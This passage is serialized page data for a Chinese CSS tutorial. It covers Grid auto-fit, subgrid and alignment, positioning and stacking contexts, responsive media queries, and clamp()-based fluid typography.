16px;\n}\n",[22,113696,113697,113704,113714,113758,113771],{"__ignoreMap":314},[331,113698,113699,113702],{"class":333,"line":334},[331,113700,113701],{"class":501},".cards",[331,113703,1100],{"class":337},[331,113705,113706,113708,113710,113712],{"class":333,"line":341},[331,113707,113518],{"class":344},[331,113709,348],{"class":337},[331,113711,109659],{"class":344},[331,113713,108769],{"class":337},[331,113715,113716,113718,113720,113722,113724,113726,113728,113731,113733,113736,113738,113741,113743,113745,113747,113749,113751,113753,113755],{"class":333,"line":357},[331,113717,113529],{"class":344},[331,113719,348],{"class":337},[331,113721,65629],{"class":344},[331,113723,966],{"class":337},[331,113725,113688],{"class":344},[331,113727,409],{"class":337},[331,113729,113730],{"class":344},"minmax",[331,113732,966],{"class":337},[331,113734,113735],{"class":344},"min",[331,113737,966],{"class":337},[331,113739,113740],{"class":344},"240",[331,113742,617],{"class":616},[331,113744,409],{"class":337},[331,113746,712],{"class":344},[331,113748,715],{"class":616},[331,113750,72027],{"class":337},[331,113752,7993],{"class":344},[331,113754,109909],{"class":616},[331,113756,113757],{"class":337},"));\n",[331,113759,113760,113763,113765,113767,113769],{"class":333,"line":371},[331,113761,113762],{"class":344},"  gap",[331,113764,348],{"class":337},[331,113766,38994],{"class":344},[331,113768,617],{"class":616},[331,113770,108769],{"class":337},[331,113772,113773],{"class":333,"line":384},[331,113774,459],{"class":337},[11,113776,113777,5160,113779,113781,113782,322,113785,113787,113788,113790,113791,113793,113794,161],{},[22,113778,113688],{},[22,113780,113691],{}," 的差别只在",[17,113783,113784],{},"末尾有没有空轨道",[22,113786,113691],{}," 保留算出来但没内容的轨道（卡片会显得靠左一小堆），",[22,113789,113688],{}," 把空轨道压成 0，让现存卡片继续伸展铺满。内容少又要「铺满」用 ",[22,113792,113688],{},"；内容多、希望网格始终对齐用 ",[22,113795,113691],{},[11,113797,113798,113801,113802,113805,113806,113808],{},[22,113799,113800],{},"min(240px, 100%)"," 里那个 ",[22,113803,113804],{},"100%"," 是防窄屏横向滚动条的：容器比 240px 还窄时，",[22,113807,113730],{}," 的下限会强行撑破容器。",[11,113810,113811],{},"这套写法能替掉大量「卡片墙 \u002F 图库 \u002F 相关列表」的媒体查询——按内容自身宽度决定断点，比按设备宽度更稳。",[53,113813,113815,113818],{"id":113814},"subgrid让子卡片共享外层轨道",[22,113816,113817],{},"subgrid","：让子卡片共享外层轨道",[308,113820,113822],{"className":108720,"code":113821,"language":108722,"meta":314,"style":314},".panel { display: grid; grid-row: span 3; grid-template-rows: subgrid; }\n",[22,113823,113824],{"__ignoreMap":314},[331,113825,113826,113829,113831,113833,113835,113837,113839,113842,113845,113847,113849,113851,113853,113855],{"class":333,"line":334},[331,113827,113828],{"class":501},".panel",[331,113830,605],{"class":337},[331,113832,20238],{"class":344},[331,113834,348],{"class":337},[331,113836,109659],{"class":344},[331,113838,620],{"class":337},[331,113840,113841],{"class":344},"grid-row",[331,113843,113844],{"class":337},": span ",[331,113846,351],{"class":344},[331,113848,620],{"class":337},[331,113850,113474],{"class":344},[331,113852,348],{"class":337},[331,113854,113817],{"class":344},[331,113856,664],{"class":337},[11,113858,113859,113860,113863],{},"跨的格子不再是「自己的轨道」而是复用父网格的，于是每张卡片的标题行、正文行、按钮行严格对齐——以前要每张卡硬写行高才能做到的事。浏览器基线：subgrid 需要较新的内核（Firefox 71 \u002F Chrome 117 \u002F Safari 16 一线），旧内核会退化成普通 Grid 而不破坏内容；上线前请以 caniuse 当前数据为准，并配 ",[22,113861,113862],{},"@supports (grid-template-rows: subgrid)"," 做渐进增强（第二十章）。",[53,113865,113867],{"id":113866},"grid-的三套对齐属性","Grid 的三套对齐属性",[1773,113869,113870,113890,113898],{},[1662,113871,113872,1901,113875,113877,113878,113881,113882,113885,113886,113889],{},[22,113873,113874],{},"justify-items",[22,113876,112756],{},"：格子",[17,113879,113880],{},"内部","内容在水平\u002F垂直的位置；",[22,113883,113884],{},"place-items"," 是两者简写（",[22,113887,113888],{},"display: grid; place-items: center;"," 是最短的完全居中）；",[1662,113891,113892,1901,113894,113897],{},[22,113893,112727],{},[22,113895,113896],{},"align-content","：整个网格轨道在容器里的分布（有剩余空间才看得出）；",[1662,113899,113900,1901,113903,113905],{},[22,113901,113902],{},"justify-self",[22,113904,112778],{},"：单个子项叛逆。",[11,113907,113908,113909,655,113911,113913,113914,113916,113917,113919],{},"Flex 只有 ",[22,113910,112756],{},[22,113912,112727],{}," 这一套；Grid 因为有两个明确的轴向，同名属性含义不同（Grid 的 ",[22,113915,112680],{}," 管水平、",[22,113918,112687],{}," 管垂直）。这正是「同一行 CSS 在两种布局下表现不同」的来源，别混着记。",[53,113921,113922],{"id":113922},"常见坑速查",[57,113924,113925,113934],{},[60,113926,113927],{},[63,113928,113929,113931],{},[66,113930,92136],{},[66,113932,113933],{},"原因与修法",[79,113935,113936,113954,113971,113984,114001],{},[63,113937,113938,113944],{},[84,113939,113940,113941,113943],{},"设了 ",[22,113942,113188],{}," 仍横向溢出",[84,113945,113946,113948,113949,113951,113952],{},[22,113947,113188],{}," 下限是 ",[22,113950,90367],{},"（= min-content）→ 写 ",[22,113953,113195],{},[63,113955,113956,113963],{},[84,113957,113958,113959,113962],{},"子项 ",[22,113960,113961],{},"height: 100%"," 不生效",[84,113964,16105,113965,113967,113968,113970],{},[22,113966,113474],{}," 或依赖默认的 ",[22,113969,113346],{},"，别猜父高",[63,113972,113973,113976],{},[84,113974,113975],{},"四周空白不对称",[84,113977,113978,113979,18878,113981,113983],{},"四周来自容器 ",[22,113980,633],{},[22,113982,110497],{}," 只管轨道之间",[63,113985,113986,113991],{},[84,113987,113988,113990],{},[22,113989,113688],{}," 把卡片拉得很宽",[84,113992,113993,113994,113997,113998],{},"给上限：",[22,113995,113996],{},"minmax(240px, 320px)","，外层再 ",[22,113999,114000],{},"justify-content: center",[63,114002,114003,114006],{},[84,114004,114005],{},"子项叠在同一格",[84,114007,36160,114008,114010,114011,114013],{},[22,114009,110497],{}," 或显式写了相同的 ",[22,114012,113617],{},"（Grid 允许重叠，做叠层时是特性）",[48,114015,114017],{"id":114016},"十二定位与层叠上下文","十二、定位与层叠上下文",[11,114019,114020,114022,114023,114025,114026,114028],{},[22,114021,109652],{}," 决定元素相对",[17,114024,43556],{},"偏移；",[22,114027,109944],{}," 只在同一个层叠上下文内比大小。这两条理解到位，「弹层被挡住」「absolute 跑到左上角」之类的排错时间能砍掉一半。",[4748,114030],{"height":114031,"src":114032,"title":114033},880,"\u002Ftutorials\u002Fcss\u002Fdemos\u002F12-position.html","示例 12：五种 position、inset、z-index 与 sticky",[53,114035,114037,114038,114040],{"id":114036},"五种-position-的差别在参考系","五种 ",[22,114039,109652],{}," 的差别在参考系",[57,114042,114043,114057],{},[60,114044,114045],{},[63,114046,114047,114049,114052,114055],{},[66,114048,62845],{},[66,114050,114051],{},"参考系",[66,114053,114054],{},"是否脱离文档流",[66,114056,11668],{},[79,114058,114059,114077,114095,114114,114129],{},[63,114060,114061,114065,114073,114075],{},[84,114062,114063],{},[22,114064,12579],{},[84,114066,114067,114068,655,114070,114072],{},"—（",[22,114069,50045],{},[22,114071,110933],{}," 完全无效）",[84,114074,60399],{},[84,114076,5540],{},[63,114078,114079,114084,114087,114092],{},[84,114080,114081],{},[22,114082,114083],{},"relative",[84,114085,114086],{},"自身正常位置",[84,114088,114089,114091],{},[17,114090,60399],{},"（原空间保留）",[84,114093,114094],{},"给子绝对定位当锚点、微调图标",[63,114096,114097,114102,114109,114111],{},[84,114098,114099],{},[22,114100,114101],{},"absolute",[84,114103,114104,114105,114108],{},"最近的",[17,114106,114107],{},"已定位","祖先",[84,114110,60432],{},[84,114112,114113],{},"徽标、下拉、遮罩",[63,114115,114116,114121,114124,114126],{},[84,114117,114118],{},[22,114119,114120],{},"fixed",[84,114122,114123],{},"视口（祖先有 transform 类属性时改变）",[84,114125,60432],{},[84,114127,114128],{},"吸底按钮、对话框",[63,114130,114131,114135,114138,114140],{},[84,114132,114133],{},[22,114134,79256],{},[84,114136,114137],{},"滚动容器 + 自身所在区块范围",[84,114139,60399],{},[84,114141,114142],{},"表头、分区标题、吸附导航",[11,114144,114145,114147,114148,114150,114151,114153,114154,114156,114157,114160,114161,4809,114164,114166],{},[22,114146,79256],{}," 失效的三个常见原因：没写 ",[22,114149,50045],{}," 等偏移值、某个祖先设了 ",[22,114152,109663],{},"（改变了滚动容器）、父容器高度不足以容纳滑动范围（吸附不了几像素就跟着走了）。",[22,114155,50045],{}," 在有吸顶页头的站点里通常要写成 ",[22,114158,114159],{},"var(--header-h)","，否则会被盖住——本站左右目录栏正是用 ",[22,114162,114163],{},"position: sticky",[22,114165,50045],{}," 与页头高度联动。",[11,114168,114169,114170,114173,114174,114177],{},"表格 ",[22,114171,114172],{},"\u003Cthead>"," 也能 sticky，但需要 ",[22,114175,114176],{},"border-collapse: separate","（合并边框时边框不跟随）。",[53,114179,114181,114183],{"id":114180},"inset-简写与三种绝对居中",[22,114182,111936],{}," 简写与三种绝对居中",[11,114185,114186,5664,114189,114192,114193,114195],{},[22,114187,114188],{},"inset: 8px 12px auto auto",[22,114190,114191],{},"top right bottom left","，顺序与 ",[22,114194,623],{}," 一致。绝对居中三种写法：",[308,114197,114199],{"className":108720,"code":114198,"language":108722,"meta":314,"style":314},"\u002F* 一：Grid（推荐） *\u002F .wrap { display: grid; place-items: center; }\n\u002F* 二：transform（不要求父级尺寸） *\u002F .m { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); }\n\u002F* 三：inset + auto margin（要求固定宽高） *\u002F .m { position: absolute; inset: 0; margin: auto; width: 120px; height: 40px; }\n",[22,114200,114201,114227,114288],{"__ignoreMap":314},[331,114202,114203,114206,114209,114211,114213,114215,114217,114219,114221,114223,114225],{"class":333,"line":334},[331,114204,114205],{"class":1003},"\u002F* 一：Grid（推荐） *\u002F",[331,114207,114208],{"class":501}," .wrap",[331,114210,605],{"class":337},[331,114212,20238],{"class":344},[331,114214,348],{"class":337},[331,114216,109659],{"class":344},[331,114218,620],{"class":337},[331,114220,113884],{"class":344},[331,114222,348],{"class":337},[331,114224,110939],{"class":344},[331,114226,664],{"class":337},[331,114228,114229,114232,114235,114237,114239,114241,114243,114245,114247,114249,114252,114254,114256,114258,114260,114262,114264,114266,114268,114270,114273,114275,114278,114280,114282,114284,114286],{"class":333,"line":341},[331,114230,114231],{"class":1003},"\u002F* 二：transform（不要求父级尺寸） *\u002F",[331,114233,114234],{"class":501}," .m",[331,114236,605],{"class":337},[331,114238,109652],{"class":344},[331,114240,348],{"class":337},[331,114242,114101],{"class":344},[331,114244,620],{"class":337},[331,114246,50045],{"class":344},[331,114248,348],{"class":337},[331,114250,114251],{"class":344},"50",[331,114253,715],{"class":616},[331,114255,620],{"class":337},[331,114257,110933],{"class":344},[331,114259,348],{"class":337},[331,114261,114251],{"class":344},[331,114263,715],{"class":616},[331,114265,620],{"class":337},[331,114267,8790],{"class":344},[331,114269,348],{"class":337},[331,114271,114272],{"class":344},"translate",[331,114274,966],{"class":337},[331,114276,114277],{"class":344},"-50",[331,114279,715],{"class":616},[331,114281,409],{"class":337},[331,114283,114277],{"class":344},[331,114285,715],{"class":616},[331,114287,111705],{"class":337},[331,114289,114290,114293,114295,114297,114299,114301,114303,114305,114307,114309,114311,114313,114315,114317,114319,114321,114323,114325,114328,114330,114332,114334,114336,114339,114341],{"class":333,"line":357},[331,114291,114292],{"class":1003},"\u002F* 三：inset + auto margin（要求固定宽高） *\u002F",[331,114294,114234],{"class":501},[331,114296,605],{"class":337},[331,114298,109652],{"class":344},[331,114300,348],{"class":337},[331,114302,114101],{"class":344},[331,114304,620],{"class":337},[331,114306,111936],{"class":344},[331,114308,348],{"class":337},[331,114310,628],{"class":344},[331,114312,620],{"class":337},[331,114314,623],{"class":344},[331,114316,348],{"class":337},[331,114318,90367],{"class":344},[331,114320,620],{"class":337},[331,114322,608],{"class":344},[331,114324,348],{"class":337},[331,114326,114327],{"class":344},"120",[331,114329,617],{"class":616},[331,114331,620],{"class":337},[331,114333,99201],{"class":344},[331,114335,348],{"class":337},[331,114337,114338],{"class":344},"40",[331,114340,617],{"class":616},[331,114342,664],{"class":337},[11,114344,114345,114348,114349,114352],{},[22,114346,114347],{},"translate(-50%, -50%)"," 的百分比相对",[17,114350,114351],{},"自身","尺寸，这是它能在不知宽高时居中的原因。",[53,114354,114356,114358],{"id":114355},"z-index只在自己的层叠上下文里比大小",[22,114357,109944],{},"：只在自己的层叠上下文里比大小",[11,114360,114361,114363,114364,114367,114368,114371,114372,114375],{},[22,114362,109944],{}," 只在",[17,114365,114366],{},"同一个层叠上下文","内有意义。父级一旦形成层叠上下文，子级写 ",[22,114369,114370],{},"z-index: 9999"," 也出不去——它只能在那个盒子内部称王，外面一个 ",[22,114373,114374],{},"z-index: 2"," 的兄弟就能盖住它。",[11,114377,114378],{},"创建层叠上下文的条件（任一成立）：",[1773,114380,114381,114392,114397,114413,114419,114425,114430,114437],{},[1662,114382,114383,112595,114385,50728,114387,112595,114389,114391],{},[22,114384,109652],{},[22,114386,12579],{},[22,114388,109944],{},[22,114390,90367],{},"（最常见的来源）；",[1662,114393,114394,114396],{},[22,114395,109666],{}," 小于 1；",[1662,114398,114399,1901,114401,1901,114403,1901,114406,1901,114409,114412],{},[22,114400,8790],{},[22,114402,21587],{},[22,114404,114405],{},"backdrop-filter",[22,114407,114408],{},"perspective",[22,114410,114411],{},"mask"," 相关属性；",[1662,114414,114415,114418],{},[22,114416,114417],{},"will-change"," 里声明了上述任一属性；",[1662,114420,114421,114424],{},[22,114422,114423],{},"isolation: isolate","（专门用来创建上下文的属性，语义最干净）；",[1662,114426,114427,17306],{},[22,114428,114429],{},"position: fixed",[1662,114431,114432,114433,112595,114435,17306],{},"Flex \u002F Grid 子项的 ",[22,114434,109944],{},[22,114436,90367],{},[1662,114438,114439,1901,114441,114444],{},[22,114440,112600],{},[22,114442,114443],{},"content-visibility"," 等生成独立绘制层的属性。",[11,114446,114447,114448,114450,114451,114453,114454,655,114456,114458,114459,272,114462,4813],{},"排错顺序固定：① 从目标元素往上找",[17,114449,114104],{},"层叠上下文祖先；② 只在这一层里比 ",[22,114452,109944],{},"；③ 需要「跳出去」时，要么去掉祖先的 ",[22,114455,8790],{},[22,114457,21587],{},"，要么把浮层挂到更外层的容器（或用原生 ",[22,114460,114461],{},"\u003Cpopover>",[22,114463,114429],{},[11,114465,114466,114467,114469,114470,114472,114473,114475,114476,114478],{},"数值请建自己的刻度而不是 9999：",[22,114468,724],{}," 下拉、",[22,114471,114251],{}," 遮罩、",[22,114474,712],{}," 对话框、",[22,114477,30211],{}," toast。当所有人都写 9999 时，任何一层都赢不了。",[11,114480,114481,114482,114485,114486,4839,114489,114491],{},"顺带区分两件事：",[17,114483,114484],{},"层叠上下文","（本节的几何\u002F属性问题）与",[17,114487,114488],{},"层叠层级",[22,114490,108685],{},"，第十六章的声明顺序问题）名字相近，机制完全无关。",[53,114493,114495,114497],{"id":114494},"fixed-会被祖先抢走",[22,114496,114120],{}," 会被祖先「抢走」",[11,114499,114500,114501,1901,114503,1901,114505,1901,114507,1901,114509,1901,114511,18878,114513,114515,114516,114518],{},"祖先一旦有 ",[22,114502,8790],{},[22,114504,21587],{},[22,114506,114408],{},[22,114508,114405],{},[22,114510,114417],{},[22,114512,112600],{},[22,114514,114120],{}," 的参考系就从视口变成那个祖先，表现为「弹窗跟着页面乱跑」。动画里给祖先加 ",[22,114517,8790],{}," 时尤其容易碰上。",[53,114520,114521],{"id":114521},"实战配方",[308,114523,114525],{"className":108720,"code":114524,"language":108722,"meta":314,"style":314},"\u002F* 下拉菜单 *\u002F .dd { position: relative; } .dd-menu { position: absolute; top: calc(100% + 4px); left: 0; }\n\u002F* 徽标 *\u002F .badge-wrap { position: relative; } .badge { position: absolute; top: -6px; right: -6px; }\n\u002F* 遮罩 *\u002F .mask { position: fixed; inset: 0; background: rgb(0 0 0 \u002F .5); z-index: 50; }\n",[22,114526,114527,114587,114638],{"__ignoreMap":314},[331,114528,114529,114532,114535,114537,114539,114541,114543,114545,114548,114550,114552,114554,114556,114558,114560,114562,114565,114567,114569,114571,114573,114575,114577,114579,114581,114583,114585],{"class":333,"line":334},[331,114530,114531],{"class":1003},"\u002F* 下拉菜单 *\u002F",[331,114533,114534],{"class":501}," .dd",[331,114536,605],{"class":337},[331,114538,109652],{"class":344},[331,114540,348],{"class":337},[331,114542,114083],{"class":344},[331,114544,82718],{"class":337},[331,114546,114547],{"class":501},".dd-menu",[331,114549,605],{"class":337},[331,114551,109652],{"class":344},[331,114553,348],{"class":337},[331,114555,114101],{"class":344},[331,114557,620],{"class":337},[331,114559,50045],{"class":344},[331,114561,348],{"class":337},[331,114563,114564],{"class":344},"calc",[331,114566,966],{"class":337},[331,114568,712],{"class":344},[331,114570,715],{"class":616},[331,114572,6321],{"class":616},[331,114574,43890],{"class":344},[331,114576,617],{"class":616},[331,114578,24886],{"class":337},[331,114580,110933],{"class":344},[331,114582,348],{"class":337},[331,114584,628],{"class":344},[331,114586,664],{"class":337},[331,114588,114589,114592,114595,114597,114599,114601,114603,114605,114608,114610,114612,114614,114616,114618,114620,114622,114624,114626,114628,114630,114632,114634,114636],{"class":333,"line":341},[331,114590,114591],{"class":1003},"\u002F* 徽标 *\u002F",[331,114593,114594],{"class":501}," .badge-wrap",[331,114596,605],{"class":337},[331,114598,109652],{"class":344},[331,114600,348],{"class":337},[331,114602,114083],{"class":344},[331,114604,82718],{"class":337},[331,114606,114607],{"class":501},".badge",[331,114609,605],{"class":337},[331,114611,109652],{"class":344},[331,114613,348],{"class":337},[331,114615,114101],{"class":344},[331,114617,620],{"class":337},[331,114619,50045],{"class":344},[331,114621,348],{"class":337},[331,114623,83967],{"class":344},[331,114625,617],{"class":616},[331,114627,620],{"class":337},[331,114629,110936],{"class":344},[331,114631,348],{"class":337},[331,114633,83967],{"class":344},[331,114635,617],{"class":616},[331,114637,664],{"class":337},[331,114639,114640,114643,114646,114648,114650,114652,114654,114656,114658,114660,114662,114664,114666,114668,114671,114673,114675,114677,114679,114681,114683,114685,114687,114689,114691],{"class":333,"line":357},[331,114641,114642],{"class":1003},"\u002F* 遮罩 *\u002F",[331,114644,114645],{"class":501}," .mask",[331,114647,605],{"class":337},[331,114649,109652],{"class":344},[331,114651,348],{"class":337},[331,114653,114120],{"class":344},[331,114655,620],{"class":337},[331,114657,111936],{"class":344},[331,114659,348],{"class":337},[331,114661,628],{"class":344},[331,114663,620],{"class":337},[331,114665,35025],{"class":344},[331,114667,348],{"class":337},[331,114669,114670],{"class":344},"rgb",[331,114672,966],{"class":337},[331,114674,628],{"class":344},[331,114676,680],{"class":344},[331,114678,680],{"class":344},[331,114680,1901],{"class":337},[331,114682,110021],{"class":344},[331,114684,24886],{"class":337},[331,114686,109944],{"class":344},[331,114688,348],{"class":337},[331,114690,114251],{"class":344},[331,114692,664],{"class":337},[11,114694,114695,114696,2012,114698,114701,114702,114704,114705,1901,114707,114710],{},"下拉要同时写 ",[22,114697,109406],{},[22,114699,114700],{},":focus-within","，否则键盘用户打不开。弹出层靠近视口边缘被裁掉时，用 ",[22,114703,114429],{}," + 定位 API，或直接改用原生 ",[22,114706,114461],{},[22,114708,114709],{},"anchor()","（仍在演进，见 HTML 教程第十三章）。",[48,114712,114714],{"id":114713},"十三响应式与流式排版能连续变化的就别用断点","十三、响应式与流式排版：能连续变化的就别用断点",[11,114716,114717,114718,114721],{},"响应式的目标不是「适配三种手机」，而是",[17,114719,114720],{},"任何宽度都不破","。做法上分两层：能用连续函数解决的（字号、间距、卡片列数）用流式；真的需要结构切换时（三栏变一栏、导航变汉堡）才用媒体查询。",[4748,114723],{"height":72775,"src":114724,"title":114725},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F13a-media-queries.html","示例 13a：断点、移动优先与非尺寸类媒体查询",[53,114727,114729],{"id":114728},"断点跟着内容走不跟着机型走","断点跟着内容走，不跟着机型走",[11,114731,114732,114733,114736],{},"把浏览器从 320px 慢慢拉宽，",[17,114734,114735],{},"在哪里变丑就在哪里设断点","——通常 2 到 4 个就够。照抄某个框架的 576\u002F768\u002F992\u002F1200 能用，但那些数字与你的内容无关。",[11,114738,114739,114740,4839,114742,114745],{},"单位建议写 ",[22,114741,109814],{},[22,114743,114744],{},"min-width: 40rem","）而不是 px：用户放大根字号时媒体查询会提前触发，避免文字溢出。",[11,114747,114748],{},"新语法支持范围表达式，读起来更直观：",[308,114750,114752],{"className":108720,"code":114751,"language":108722,"meta":314,"style":314},"@media (40rem \u003C= width \u003C= 60rem) { … }   \u002F* 等价于 min-width 与 max-width 的 and 组合 *\u002F\n@media (min-width: 60rem), (orientation: landscape) { … }   \u002F* 逗号 = or *\u002F\n",[22,114753,114754,114783],{"__ignoreMap":314},[331,114755,114756,114759,114761,114763,114765,114768,114771,114773,114775,114777,114780],{"class":333,"line":334},[331,114757,114758],{"class":616},"@media",[331,114760,1147],{"class":337},[331,114762,114338],{"class":344},[331,114764,109814],{"class":616},[331,114766,114767],{"class":616}," \u003C=",[331,114769,114770],{"class":344}," width",[331,114772,114767],{"class":616},[331,114774,10600],{"class":344},[331,114776,109814],{"class":616},[331,114778,114779],{"class":337},") { … }   ",[331,114781,114782],{"class":1003},"\u002F* 等价于 min-width 与 max-width 的 and 组合 *\u002F\n",[331,114784,114785,114787,114789,114791,114793,114795,114797,114800,114803,114805,114808,114810],{"class":333,"line":341},[331,114786,114758],{"class":616},[331,114788,1147],{"class":337},[331,114790,110377],{"class":344},[331,114792,348],{"class":337},[331,114794,10595],{"class":344},[331,114796,109814],{"class":616},[331,114798,114799],{"class":337},"), (",[331,114801,114802],{"class":344},"orientation",[331,114804,348],{"class":337},[331,114806,114807],{"class":344},"landscape",[331,114809,114779],{"class":337},[331,114811,114812],{"class":1003},"\u002F* 逗号 = or *\u002F\n",[53,114814,114816,114817,114819],{"id":114815},"移动优先默认写窄屏逐级-min-width-增强","移动优先：默认写窄屏，逐级 ",[22,114818,110377],{}," 增强",[308,114821,114823],{"className":108720,"code":114822,"language":108722,"meta":314,"style":314},".layout { display: grid; gap: 12px; }                        \u002F* 默认：单列，不包在媒体查询里 *\u002F\n@media (min-width: 40rem) { .layout { grid-template-columns: 1fr 1fr; } }\n@media (min-width: 60rem) { .layout { grid-template-columns: 200px 1fr 200px; } }\n",[22,114824,114825,114854,114889],{"__ignoreMap":314},[331,114826,114827,114830,114832,114834,114836,114838,114840,114842,114844,114846,114848,114851],{"class":333,"line":334},[331,114828,114829],{"class":501},".layout",[331,114831,605],{"class":337},[331,114833,20238],{"class":344},[331,114835,348],{"class":337},[331,114837,109659],{"class":344},[331,114839,620],{"class":337},[331,114841,110497],{"class":344},[331,114843,348],{"class":337},[331,114845,93883],{"class":344},[331,114847,617],{"class":616},[331,114849,114850],{"class":337},"; }                        ",[331,114852,114853],{"class":1003},"\u002F* 默认：单列，不包在媒体查询里 *\u002F\n",[331,114855,114856,114858,114860,114862,114864,114866,114868,114870,114872,114874,114876,114878,114880,114882,114884,114886],{"class":333,"line":341},[331,114857,114758],{"class":616},[331,114859,1147],{"class":337},[331,114861,110377],{"class":344},[331,114863,348],{"class":337},[331,114865,114338],{"class":344},[331,114867,109814],{"class":616},[331,114869,31033],{"class":337},[331,114871,114829],{"class":501},[331,114873,605],{"class":337},[331,114875,113375],{"class":344},[331,114877,348],{"class":337},[331,114879,7993],{"class":344},[331,114881,109909],{"class":616},[331,114883,30777],{"class":344},[331,114885,109909],{"class":616},[331,114887,114888],{"class":337},"; } }\n",[331,114890,114891,114893,114895,114897,114899,114901,114903,114905,114907,114909,114911,114913,114915,114917,114919,114921,114923,114925],{"class":333,"line":357},[331,114892,114758],{"class":616},[331,114894,1147],{"class":337},[331,114896,110377],{"class":344},[331,114898,348],{"class":337},[331,114900,10595],{"class":344},[331,114902,109814],{"class":616},[331,114904,31033],{"class":337},[331,114906,114829],{"class":501},[331,114908,605],{"class":337},[331,114910,113375],{"class":344},[331,114912,348],{"class":337},[331,114914,30211],{"class":344},[331,114916,617],{"class":616},[331,114918,30777],{"class":344},[331,114920,109909],{"class":616},[331,114922,76766],{"class":344},[331,114924,617],{"class":616},[331,114926,114888],{"class":337},[11,114928,114929,114930,114932],{},"好处是基础样式就是最小屏样式，逐级叠加；反过来的桌面优先（默认给桌面、逐级 ",[22,114931,108489],{}," 降级）容易漏掉基础样式，也让覆盖关系变成「后写的规则更弱」，与维护成本相悖。",[53,114934,114936],{"id":114935},"不只是宽度这些也属于媒体查询","不只是宽度：这些也属于媒体查询",[57,114938,114939,114948],{},[60,114940,114941],{},[63,114942,114943,114946],{},[66,114944,114945],{},"特性查询",[66,114947,1875],{},[79,114949,114950,114964,114977,114991,115003,115013,115023],{},[63,114951,114952,114957],{},[84,114953,114954],{},[22,114955,114956],{},"prefers-color-scheme: dark",[84,114958,114959,114960,114963],{},"跟随系统深浅色（本站用 ",[22,114961,114962],{},"html[data-theme]"," 手动切换，见第十四章）",[63,114965,114966,114971],{},[84,114967,114968],{},[22,114969,114970],{},"prefers-reduced-motion: reduce",[84,114972,114973,114974,46059],{},"关闭\u002F收敛动效，",[17,114975,114976],{},"必须提供",[63,114978,114979,114988],{},[84,114980,114981,114984,114985],{},[22,114982,114983],{},"hover: hover"," and ",[22,114986,114987],{},"pointer: fine",[84,114989,114990],{},"只给鼠标设备写 hover 效果，避免触屏「点一下卡在 hover 态」",[63,114992,114993,115000],{},[84,114994,114995,1901,114997],{},[22,114996,114802],{},[22,114998,114999],{},"aspect-ratio",[84,115001,115002],{},"横竖屏、宽高比",[63,115004,115005,115010],{},[84,115006,115007],{},[22,115008,115009],{},"display-mode: standalone",[84,115011,115012],{},"PWA 已安装态",[63,115014,115015,115020],{},[84,115016,115017],{},[22,115018,115019],{},"forced-colors: active",[84,115021,115022],{},"Windows 高对比模式，需要专门准备描边",[63,115024,115025,115030],{},[84,115026,115027],{},[22,115028,115029],{},"print",[84,115031,115032,115033,115036],{},"打印：隐藏导航、展开折叠内容、",[22,115034,115035],{},"break-inside: avoid","、给外链补真实地址",[11,115038,115039],{},"全站级降级写法（可接受，但更好的做法是逐条设计静态替代方案）：",[308,115041,115043],{"className":108720,"code":115042,"language":108722,"meta":314,"style":314},"@media (prefers-reduced-motion: reduce) {\n  *, *::before, *::after { animation-duration: .01ms !important; animation-iteration-count: 1 !important; transition-duration: .01ms !important; }\n}\n",[22,115044,115045,115052,115110],{"__ignoreMap":314},[331,115046,115047,115049],{"class":333,"line":334},[331,115048,114758],{"class":616},[331,115050,115051],{"class":337}," (prefers-reduced-motion: reduce) {\n",[331,115053,115054,115057,115059,115061,115063,115065,115067,115069,115071,115074,115076,115079,115081,115084,115086,115089,115091,115093,115095,115097,115100,115102,115104,115106,115108],{"class":333,"line":341},[331,115055,115056],{"class":497},"  *",[331,115058,409],{"class":337},[331,115060,18020],{"class":497},[331,115062,109089],{"class":501},[331,115064,409],{"class":337},[331,115066,18020],{"class":497},[331,115068,109096],{"class":501},[331,115070,605],{"class":337},[331,115072,115073],{"class":344},"animation-duration",[331,115075,348],{"class":337},[331,115077,115078],{"class":344},".01",[331,115080,109973],{"class":616},[331,115082,115083],{"class":616}," !important",[331,115085,620],{"class":337},[331,115087,115088],{"class":344},"animation-iteration-count",[331,115090,348],{"class":337},[331,115092,7993],{"class":344},[331,115094,115083],{"class":616},[331,115096,620],{"class":337},[331,115098,115099],{"class":344},"transition-duration",[331,115101,348],{"class":337},[331,115103,115078],{"class":344},[331,115105,109973],{"class":616},[331,115107,115083],{"class":616},[331,115109,664],{"class":337},[331,115111,115112],{"class":333,"line":357},[331,115113,459],{"class":337},[53,115115,115117,115118,1901,115121,1901,115124],{"id":115116},"流式排版clamp-min-max","流式排版：",[22,115119,115120],{},"clamp()",[22,115122,115123],{},"min()",[22,115125,115126],{},"max()",[4748,115128],{"height":5635,"src":115129,"title":115130},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F13b-fluid-type.html","示例 13b：clamp 流式字号、aspect-ratio 与 object-fit",[11,115132,115133,115136],{},[22,115134,115135],{},"clamp(最小, 理想, 最大)"," 让数值随视口连续变化：",[308,115138,115140],{"className":108720,"code":115139,"language":108722,"meta":314,"style":314},"h1 { font-size: clamp(1.5rem, 1.06rem + 2.2vw, 3rem); }\nsection { padding-block: clamp(24px, 4vw, 64px); gap: clamp(8px, 1.5vw, 20px); }\n",[22,115141,115142,115183],{"__ignoreMap":314},[331,115143,115144,115146,115148,115150,115152,115155,115157,115159,115161,115163,115166,115168,115170,115173,115175,115177,115179,115181],{"class":333,"line":334},[331,115145,810],{"class":497},[331,115147,605],{"class":337},[331,115149,690],{"class":344},[331,115151,348],{"class":337},[331,115153,115154],{"class":344},"clamp",[331,115156,966],{"class":337},[331,115158,57144],{"class":344},[331,115160,109814],{"class":616},[331,115162,409],{"class":337},[331,115164,115165],{"class":344},"1.06",[331,115167,109814],{"class":616},[331,115169,6321],{"class":616},[331,115171,115172],{"class":344}," 